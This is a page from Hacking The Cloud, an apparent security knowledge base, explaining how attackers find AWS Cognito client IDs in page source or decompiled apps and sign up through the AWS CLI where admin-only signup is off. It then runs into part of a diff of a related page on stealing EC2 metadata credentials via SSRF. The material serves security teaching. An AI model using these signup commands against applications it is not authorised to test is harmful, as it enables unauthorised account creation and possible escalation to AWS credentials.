class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#how-it-works class=md-nav__link> <span class=md-ellipsis> How it works </span> </a> <nav class=md-nav aria-label="How it works"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#web-applications class=md-nav__link> <span class=md-ellipsis> Web applications: </span> </a> </li> <li class=md-nav__item> <a href=#mobile-applications class=md-nav__link> <span class=md-ellipsis> Mobile applications: </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#exploitation class=md-nav__link> <span class=md-ellipsis> Exploitation </span> </a> </li> <li class=md-nav__item> <a href=#impact class=md-nav__link> <span class=md-ellipsis> Impact </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Wes Ladd</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/cognito_user_self_signup.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=unintended-self-signup-in-aws-cognito>Unintended Self-Signup in AWS Cognito<a class=headerlink href=#unintended-self-signup-in-aws-cognito title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <ul> <li><a href=https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/scenarios/vulnerable_cognito>CloudGoat Scenario: vulnerable_cognito</a></li> </ul> </li> </ul> </div> <p>A common security flaw in SaaS applications that use Amazon Cognito as the IAM authn/authz source is allowing unintended/unauthorized account creation. Many times, such applications are intended to only allow Administrators to sign up users. </p> <p>However, applications using Cognito are frequently not explicitly configured to require Administrator only sign-up. Just because a sign-up page or button is not present in the application, doesn't mean that an attacker can't sign up for an account. <strong>If "Admin Only" signup is not enabled</strong> in the Cognito User Pool and an attacker can identify the Cognito User Pool Client ID and required sign-up parameters, they can sign up for an account using the AWS CLI.</p> <h2 id=how-it-works>How it works<a class=headerlink href=#how-it-works title="Permanent link">&para;</a></h2> <p>Identifying a Cognito User Pool Client ID for web applications and mobile applications requires different approaches.</p> <h3 id=web-applications>Web applications:<a class=headerlink href=#web-applications title="Permanent link">&para;</a></h3> <p>An attacker may identify the User Pool Client ID in a web application by inspecting the source code. This typically involves the following steps:</p> <ol> <li>Opening the web application in a web browser. </li> <li>Using the browser's 'Inspect Element' or 'View Page Source' feature (usually accessible by right-clicking on the webpage and selecting it from the menu, or from the browser's tools menu). This allows viewing the HTML, CSS, and JavaScript code of the webpage. </li> <li>Looking for the initialization of the Amazon Cognito service in the JavaScript code. This often contains the User Pool Client ID. The code might look something like AWSCognito.config.update({UserPoolId:'...', ClientId:'...'});. The string after ClientId: would be the User Pool Client ID. </li> </ol> <p>It's worth noting that best practices encourage storing sensitive data like Client IDs server-side or using secure methods of storage and transmission. However, misconfigurations can lead to these details being exposed in client-side code.</p> <h3 id=mobile-applications>Mobile applications:<a class=headerlink href=#mobile-applications title="Permanent link">&para;</a></h3> <p>Obtaining the User Pool Client ID from a mobile application is more complex and requires a bit more technical know-how. The steps typically involve:</p> <ol> <li>Downloading the application package (APK for Android, IPA for iOS) to a local device.</li> <li>Using a software tool to decompile the application package into its constituent files. There are several tools available for this purpose, such as apktool for Android applications or otool/class-dump for iOS applications. </li> <li>Searching through the decompiled files for references to Amazon Cognito or the User Pool Client ID. This could be in the form of a configuration file or embedded within the application's code.</li> </ol> <h2 id=exploitation>Exploitation<a class=headerlink href=#exploitation title="Permanent link">&para;</a></h2> <p>Once an attacker has identified the User Pool Client ID, they can use the AWS CLI to sign up for an account. The attacker will need to know the required sign-up parameters, which may be obtained by inspecting the sign-up page or form in the web or mobile application. The attacker can then use the following command to sign up for an account:</p> <div class=highlight><pre><span></span><code>$<span class=w> </span>aws<span class=w> </span>cognito-idp<span class=w> </span>sign-up<span class=w> </span>--client-id<span class=w> </span><span class=o>{</span>client_id<span class=o>}</span><span class=w> </span>--username<span class=w> </span><span class=o>{</span>desired_username<span class=o>}</span><span class=w> </span>--password<span class=w> </span><span class=o>{</span>desired_password<span class=o>}</span>
 </code></pre></div> <p>If the sign-up request fails with InvalidParameterException, it means additional user attributes are needed. In many cases, an email address is required. The attacker can then try again with the email address.</p> <div class=highlight><pre><span></span><code>$<span class=w> </span>aws<span class=w> </span>cognito-idp<span class=w> </span>sign-up<span class=w> </span>--client-id<span class=w> </span><span class=o>{</span>client_id<span class=o>}</span><span class=w> </span>--username<span class=w> </span><span class=o>{</span>desired_username<span class=o>}</span><span class=w> </span>--password<span class=w> </span><span class=o>{</span>desired_password<span class=o>}</span><span class=w> </span>--user-attributes<span class=w> </span><span class=nv>Name</span><span class=o>=</span>email,Value<span class=o>={</span>email_address<span class=o>}</span>
 </code></pre></div> <h2 id=impact>Impact<a class=headerlink href=#impact title="Permanent link">&para;</a></h2> <p>The impact of this vulnerability depends on the application. In some cases, the application may not be affected at all. In other cases, the application may be affected in a variety of ways. </p> <p>Authenticated users of an application may be allowed to perform actions that they should not be able to perform. Perhaps the application allows data to be shared between users, and the attacker can use the application to share data with other users. Perhaps the application allows users to perform actions that cost money, and the attacker can use the application to perform actions that cost money. Perhaps the application allows users to perform actions that are not allowed by the application's terms of service, and the attacker can use the application to perform actions that are not allowed by the application's terms of service.</p> <p>In addition, the attacker may be able to exchange authenticated user access for AWS credentials. This could allow the attacker to perform actions in AWS that they should not be able to perform. See <a href=../cognito_identity_pool_excessive_privileges/ >Cognito Identity Pool Excessive Privileges</a> for more information.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">January 6, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">June 20, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/righteousgambit class=md-author title=@righteousgambit> <img src="https://avatars.githubusercontent.com/u/35244835?v=4&size=72" alt=righteousgambit> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
diff --git a/aws/exploitation/ec2-metadata-ssrf/index.html b/aws/exploitation/ec2-metadata-ssrf/index.html
index 8f10574df..1557e2bc9 100644
--- a/aws/exploitation/ec2-metadata-ssrf/index.html
+++ b/aws/exploitation/ec2-metadata-ssrf/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF."><link href=https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ rel=canonical><link href=../cognito_user_self_signup/ rel=prev><link href=../iam_privilege_escalation/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Steal EC2 Metadata Credentials via SSRF - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Steal EC2 Metadata Credentials via SSRF - Hacking The Cloud"><meta property=og:description content="Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Steal EC2 Metadata Credentials via SSRF - Hacking The Cloud"><meta property=twitter:description content="Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF."><link href=https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ rel=canonical><link href=../cognito_user_self_signup/ rel=prev><link href=../iam_privilege_escalation/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Steal EC2 Metadata Credentials via SSRF - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Steal EC2 Metadata Credentials via SSRF - Hacking The Cloud"><meta property=og:description content="Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Steal EC2 Metadata Credentials via SSRF - Hacking The Cloud"><meta property=twitter:description content="Old faithful; How to steal IAM Role credentials from the EC2 Metadata service via SSRF."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/ec2-metadata-ssrf.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#steal-ec2-metadata-credentials-via-ssrf class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button 